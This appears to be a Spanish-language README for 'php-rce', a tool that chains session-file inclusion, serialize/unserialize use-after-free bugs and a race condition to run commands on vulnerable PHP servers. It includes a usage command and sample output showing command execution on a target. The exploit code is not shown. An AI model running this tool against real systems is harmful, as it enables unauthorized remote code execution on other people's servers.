php-rce

• Ejecución remota de código en PHP

Exploit para CVE-2026-109618 / CVE-2026-109619. Múltiples exploits para lograr RCE en objetivos PHP vulnerables.

** Uso

#+begin_src sh $ uv sync $ uv run php-rce --url http://target/index.php --cmd "hostname" target: http://target/index.php cmd: hostname

trying session_lfi ... injecting session + scanning 56 LFI paths... found at attempt 23

vulnerable-hostname #+end_src

** Exploits

• session_lfi :: inclusión de archivo de sesión
• serialize_uaf :: use-after-free en serialize
• unserialize_uaf :: use-after-free en unserialize
• fast_fire :: ejecución basada en condiciones de carrera

Se ejecutan secuencialmente; el primero que tenga éxito ejecuta el comando.